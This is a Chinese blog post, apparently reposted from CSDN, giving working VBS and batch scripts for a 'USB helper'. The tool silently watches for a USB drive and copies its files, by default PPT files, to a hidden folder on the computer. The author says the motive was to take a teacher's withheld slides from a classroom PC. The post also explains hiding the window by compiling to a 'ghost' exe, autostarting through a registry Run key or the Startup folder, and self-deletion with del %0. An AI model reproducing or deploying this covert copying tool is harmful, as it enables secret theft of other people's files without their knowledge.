后台静默检测U盘并复制U盘内指定文件到电脑指定目录(U盘助手)

马上期末考试了,老师复习课讲得PPT是精简版的,老师说了之前上课的PPT可以给但是这个不可以,如果得到期末必过了。本想着把我这个自己花了3个多小时做的U盘助手在教室的电脑上运行着,下课我就可以得到PPT了,但是无奈我如此正义凛然,以及信息安全的专业我有着极好的专业素养。我还是放弃了做坏事。希望大家也是如此。当然这个U盘助手还可以让你更方便,比如你需要把U盘中的某一特定类型的文档经常复制到电脑,自己手动复制是不是很麻烦?或者经常手动备份U盘资料很麻烦,有了它你会更方便。

打包好的代码及程序

这是网上找的vbs语言写的,有一定英语能力和vb能力的想必不难看懂,本人没学过,大致还是可以理解的,但是代码看着太长,而且需要自己设定U盘盘符,复制文件类型,目录,显得有些麻烦。

set fso=createobject("scripting.filesystemobject") 

set ws=createobject("wscript.shell") 

dim USB, file, folder, files 

USB=inputbox("请输入U盘的盘符"&Chr(10)&"如插入的U盘为F盘,则输入F","插入的U盘盘符","F") 

folder=inputbox("请输入复制到的文件夹"&Chr(10)&"如想复制到D盘,请输入D:\","请输入复制到的文件夹","C:\USB") 
files=inputbox("请输入要复制的文件类型"&Chr(10)&"如要复制EXCEL文件,输入xls;默认为全部类型","请输入要复制的文件类型","ALL") 

USB=USB & ":\" 

folder=folder & "\" 

if files="ALL"then 

file=USB & "*" 

else 

file=USB & "*." & files 

end if 

if FSO.FolderExists(folder) then 

else 
FSO.CreateFolder(folder) 

end if 

on error resume next 
do 
wscript.sleep 1000 

if fso.driveexists(USB) then 
fso.copyfile file,folder 
fso.copyfolder file,folder 
wscript.sleep 20000 

end if 

loop
下面详细讲解我自己写的bat实现

1、创建一个保存复制的文件的文件夹:

md C:\Upan(我这里创在了C盘根目录)
至于这句:
setlocal enabledelayedexpansion
解释起来太复杂,有篇博客就是说这个的可以自己搜索下,这句几乎是bat下for循环必须的语句

2、然后设置要检测的可移动磁盘(我的可移动磁盘是d):

3、然后用循环一直检测,直到检测到U盘在执行命令:

for %%a in (!driver!) do (
::此处输循环执行的命令
)

for循环用法:for %%变量 in (集) do 命令,变量:(记住如果是在批处理中使用for命令时,变量前的%需改为%%)这个变量名是由单个字母组成且区分大小写(原帮助是这么说的,实际运用中用单个数字作为变量名试过证明也可行),如%B和%b代表的是不同的变量。集:由系列文件、字符串或由命令产生的内容形成的集合(当然可用通配符 * ?,还可引用环境变量),FOR命令是按一定顺序和规律分次读取集中内容,赋值给变量,并执行do后的命令,进行循环下一轮,直至集中内容读取完毕,而括号是格式必须的(in到后面括号之间要有空格)。命令大家都知道。

4、如果检测到U盘,则执行复制命令,复制U盘中所有的PPT到我们创建的保存复制的文件的文件夹(C:\Upan):

if exist %%a: (
xcopy /C /E /Q /K /Y d:\*.ppt C:\Upan
exit
)
/C 有错误也复制,/E 复制目录和子目录,包括空目录,/H 也复制隐藏文件和系统文件,/Q 复制时不显示文件名,/K 复制属性,/Y 取消提示以确认要覆盖

5、使用跳转语句goto,如果没有检测到U盘盘符就跳转到for循环处继续执行检测磁盘

::检测U盘是否插入,插入则复制U盘中所有文件到指定盘
@echo off
md C:\Upan
setlocal enabledelayedexpansion
::下面设置好要检测的盘符,以空格或逗号相隔
set "driver=d"
:start
for %%a in (!driver!) do (
if exist %%a: (
xcopy /C /E /Q /K /Y d:\*.ppt C:\Upan
exit
)
)
goto :start
这样的bat运行是有点没中不足的,像这样总是有个黑框挺难看的


下载bat转exe的软件如Quick Batch File Compiler,打开软件,选择“打开”来打开写好的bat


然后找到“选项”设置幽灵应用程序,然后点构建,然后设置exe文件名并生成一个exe文件


,此时运行该exe不会有任何显示,但是可以在进程列表看到已经运行了


如果你想让这个程序开机自动运行,可以通过vbs或者bat,或者直接把开机自启的bat命令添加在上面的文件按上述步骤完成。

1、VBS脚本实现

Set ws = CreateObject("Wscript.Shell")
ws.run "cmd /c for.bat",vbhide 
把for.bat改为你想要开机自启动的bat或者exe文件

2、bat命令独立实现

1)修改注册表

copy %0 c:\for.exe,把for.exe复制到C:\

下面那句是修改注册表键值,让C:\for.exe开机自启动

最后一句是删除for.exe源文件

复制下面代码到新建文本文档,只需要把for.exe改为你的bat文件名或者exe文件名,然后保存,把文档名改为xxx.bat运行就可以了

@echo off
copy %0 c:\for.exe
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v for.exe /t REG_SZ /d c:\for.exe /f
del %0
2)在系统启动菜单创建快捷方式

复制下面代码到新建文本文档,然后保存为xxx.bat运行就可以了

@echo off
copy %0 "%userprofile%\「开始」菜单\程序\启动"
del %0
3、把1)的代码添加到前面bat文件的第二句(md C:\Upan)后面,注意:1)中的for.exe是指最后要转换成exe文件的文件名,如果你要把bat转换成的exe文件名为U盘助手.exe,那就把1)中的所有for.exe改为U盘助手.exe即可,或者你可以把生成的exe文件改为for.exe也可


发布了31 篇原创文章 · 获赞 55 · 访问量 28万+

猜你喜欢

转载自blog.csdn.net/qq_32261191/article/details/78916794